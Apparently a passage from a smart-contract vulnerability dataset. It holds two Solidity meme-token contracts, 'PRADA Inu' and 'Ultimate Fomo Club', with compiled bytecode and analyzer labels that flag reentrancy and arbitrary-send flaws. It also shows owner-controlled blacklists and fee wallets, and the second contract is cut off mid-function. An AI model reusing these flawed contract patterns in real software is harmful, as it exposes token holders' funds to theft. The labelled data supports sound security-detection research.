FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(2)).div(10); _teamFee = (_impactFee.mul(8)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 2; _teamFee = 8; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610385578063c3c8cd80146103a5578063c9567bf9146103ba578063db92dbb6146103cf578063dd62ed3e146103e4578063e8078d941461042a57600080fd5b8063715018a6146102db5780638da5cb5b146102f057806395d89b4114610318578063a9059cbb14610346578063a985ceef1461036657600080fd5b8063313ce567116100fd578063313ce5671461022857806345596e2e146102445780635932ead11461026657806368a3a6a5146102865780636fc3eaec146102a657806370a08231146102bb57600080fd5b806306fdde0314610145578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f357806327f3a72a1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601981527f505241444120496e75202d20742e6d652f5052414441696e750000000000000060208201525b6040516101949190611bfb565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611b53565b61043f565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611b13565b610456565b34801561021f57600080fd5b506101e56104bf565b34801561023457600080fd5b5060405160098152602001610194565b34801561025057600080fd5b5061026461025f366004611bb6565b6104cf565b005b34801561027257600080fd5b50610264610281366004611b7e565b610578565b34801561029257600080fd5b506101e56102a1366004611aa3565b6105f7565b3480156102b257600080fd5b5061026461061a565b3480156102c757600080fd5b506101e56102d6366004611aa3565b610647565b3480156102e757600080fd5b50610264610669565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561032457600080fd5b50604080518082019091526005815264505241444160d81b6020820152610187565b34801561035257600080fd5b506101bd610361366004611b53565b6106dd565b34801561037257600080fd5b50601454600160a81b900460ff166101bd565b34801561039157600080fd5b506101e56103a0366004611aa3565b6106ea565b3480156103b157600080fd5b50610264610710565b3480156103c657600080fd5b50610264610746565b3480156103db57600080fd5b506101e5610793565b3480156103f057600080fd5b506101e56103ff366004611adb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043657600080fd5b506102646107ab565b600061044c338484610b5e565b5060015b92915050565b6000610463848484610c82565b6104b584336104b085604051806060016040528060288152602001611dd4602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611225565b610b5e565b5060019392505050565b60006104ca30610647565b905090565b6011546001600160a01b0316336001600160a01b0316146104ef57600080fd5b6033811061053c5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105a25760405162461bcd60e51b815260040161053390611c4e565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161056d565b6001600160a01b0381166000908152600660205260408120546104509042611d3e565b6011546001600160a01b0316336001600160a01b03161461063a57600080fd5b476106448161125f565b50565b6001600160a01b038116600090815260026020526040812054610450906112e4565b6000546001600160a01b031633146106935760405162461bcd60e51b815260040161053390611c4e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044c338484610c82565b6001600160a01b0381166000908152600660205260408120600101546104509042611d3e565b6011546001600160a01b0316336001600160a01b03161461073057600080fd5b600061073b30610647565b905061064481611368565b6000546001600160a01b031633146107705760405162461bcd60e51b815260040161053390611c4e565b6014805460ff60a01b1916600160a01b17905561078e426078611cf3565b601555565b6014546000906104ca906001600160a01b0316610647565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161053390611c4e565b601454600160a01b900460ff161561082f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610533565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086c3082683635c9adc5dea00000610b5e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a557600080fd5b505afa1580156108b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dd9190611abf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092557600080fd5b505afa158015610939573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095d9190611abf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a557600080fd5b505af11580156109b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109dd9190611abf565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a0d81610647565b600080610a226000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8557600080fd5b505af1158015610a99573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610abe9190611bce565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2257600080fd5b505af1158015610b36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5a9190611b9a565b5050565b6001600160a01b038316610bc05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610533565b6001600160a01b038216610c215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610533565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610533565b6001600160a01b038216610d485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610533565b60008111610daa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610533565b6000546001600160a01b03848116911614801590610dd657506000546001600160a01b03838116911614155b156111c857601454600160a81b900460ff1615610e56573360009081526006602052604090206002015460ff16610e5657604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e8157506013546001600160a01b03838116911614155b8015610ea657506001600160a01b03821660009081526005602052604090205460ff16155b1561100a57601454600160a01b900460ff16610f045760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610533565b60026009556008600a55601454600160a81b900460ff1615610fd057426015541115610fd057601054811115610f3957600080fd5b6001600160a01b0382166000908152600660205260409020544211610fab5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610533565b610fb642602d611cf3565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100a57610fed42600f611cf3565b6001600160a01b0383166000908152600660205260409020600101555b600061101530610647565b601454909150600160b01b900460ff1615801561104057506014546001600160a01b03858116911614155b80156110555750601454600160a01b900460ff165b156111c657601454600160a81b900460ff16156110e2576001600160a01b03841660009081526006602052604090206001015442116110e25760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610533565b601454600160b81b900460ff161561114757600061110b600c548461150d90919063ffffffff16565b60145490915061113a9061113390859061112d906001600160a01b0316610647565b9061158c565b82906115eb565b90506111458161162d565b505b80156111b457600b5460145461117d916064916111779190611171906001600160a01b0316610647565b9061150d565b906115eb565b8111156111ab57600b546014546111a8916064916111779190611171906001600160a01b0316610647565b90505b6111b481611368565b4780156111c4576111c44761125f565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120a57506001600160a01b03831660009081526005602052604090205460ff165b15611213575060005b61121f8484848461169b565b50505050565b600081848411156112495760405162461bcd60e51b81526004016105339190611bfb565b5060006112568486611d3e565b95945050505050565b6011546001600160a01b03166108fc6112798360026115eb565b6040518115909202916000818181858888f193505050501580156112a1573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112bc8360026115eb565b6040518115909202916000818181858888f19350505050158015610b5a573d6000803e3d6000fd5b600060075482111561134b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610533565b60006113556116c9565b905061136183826115eb565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113be57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141257600080fd5b505afa158015611426573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144a9190611abf565b8160018151811061146b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114919130911684610b5e565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ca908590600090869030904290600401611c83565b600060405180830381600087803b1580156114e457600080fd5b505af11580156114f8573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151c57506000610450565b60006115288385611d1f565b9050826115358583611d0b565b146113615760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610533565b6000806115998385611cf3565b9050838110156113615760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610533565b600061136183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ec565b600a8082101561163f5750600a611653565b602882111561165057506028611653565b50805b61165e81600261171a565b15611671578061166d81611d55565b9150505b611681600a61117783600261150d565b600955611694600a61117783600861150d565b600a555050565b806116a8576116a861175c565b6116b384848461178a565b8061121f5761121f600e54600955600f54600a55565b60008060006116d6611881565b90925090506116e582826115eb565b9250505090565b6000818361170d5760405162461bcd60e51b81526004016105339190611bfb565b5060006112568486611d0b565b600061136183836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118c3565b60095415801561176c5750600a54155b1561177357565b60098054600e55600a8054600f5560009182905555565b60008060008060008061179c876118f7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117ce9087611954565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117fd908661158c565b6001600160a01b03891660009081526002602052604090205561181f81611996565b61182984836119e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186e91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189d82826115eb565b8210156118ba57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118e45760405162461bcd60e51b81526004016105339190611bfb565b506118ef8385611d70565b949350505050565b60008060008060008060008060006119148a600954600a54611a04565b92509250925060006119246116c9565b905060008060006119378e878787611a53565b919e509c509a509598509396509194505050505091939550919395565b600061136183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611225565b60006119a06116c9565b905060006119ae838361150d565b306000908152600260205260409020549091506119cb908261158c565b30600090815260026020526040902055505050565b6007546119ed9083611954565b6007556008546119fd908261158c565b6008555050565b6000808080611a186064611177898961150d565b90506000611a2b60646111778a8961150d565b90506000611a4382611a3d8b86611954565b90611954565b9992985090965090945050505050565b6000808080611a62888661150d565b90506000611a70888761150d565b90506000611a7e888861150d565b90506000611a9082611a3d8686611954565b939b939a50919850919650505050505050565b600060208284031215611ab4578081fd5b813561136181611db0565b600060208284031215611ad0578081fd5b815161136181611db0565b60008060408385031215611aed578081fd5b8235611af881611db0565b91506020830135611b0881611db0565b809150509250929050565b600080600060608486031215611b27578081fd5b8335611b3281611db0565b92506020840135611b4281611db0565b929592945050506040919091013590565b60008060408385031215611b65578182fd5b8235611b7081611db0565b946020939093013593505050565b600060208284031215611b8f578081fd5b813561136181611dc5565b600060208284031215611bab578081fd5b815161136181611dc5565b600060208284031215611bc7578081fd5b5035919050565b600080600060608486031215611be2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c2757858101830151858201604001528201611c0b565b81811115611c385783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cd25784516001600160a01b031683529383019391830191600101611cad565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0657611d06611d84565b500190565b600082611d1a57611d1a611d9a565b500490565b6000816000190483118215151615611d3957611d39611d84565b500290565b600082821015611d5057611d50611d84565b500390565b6000600019821415611d6957611d69611d84565b5060010190565b600082611d7f57611d7f611d9a565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461064457600080fd5b801515811461064457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220208af71a723de077a7c383162cff4bad64b99c278a1f98e2d028aa574fd3daaa64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,361
0x45d1bc3e7680acb3736cf8a528ae79bd00414dbf
/** *Submitted for verification at Etherscan.io on 2022-03-15 */ /** *Submitted for verification at Etherscan.io on 2022-03-14 */ /** Ultimate Fomo Club Here at the Ultimate Fomo Club we have 1 mission. To help bring underrated and upcoming UFC fighters the chance to compete with the big dogs. TG Portal: https://t.me/ultimatefomoclub Web: https://www.ultimatefomoclub.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract UltimateFomoClub is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ultimate Fomo Club"; string private constant _symbol = "UFC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xE69F132db92f68DA2e2F7A9737c8D64f0d87165A); address payable private _marketingAddress = payable(0x0001E2942393eB0df9113488f41ECB1e822f1820); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 30000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = 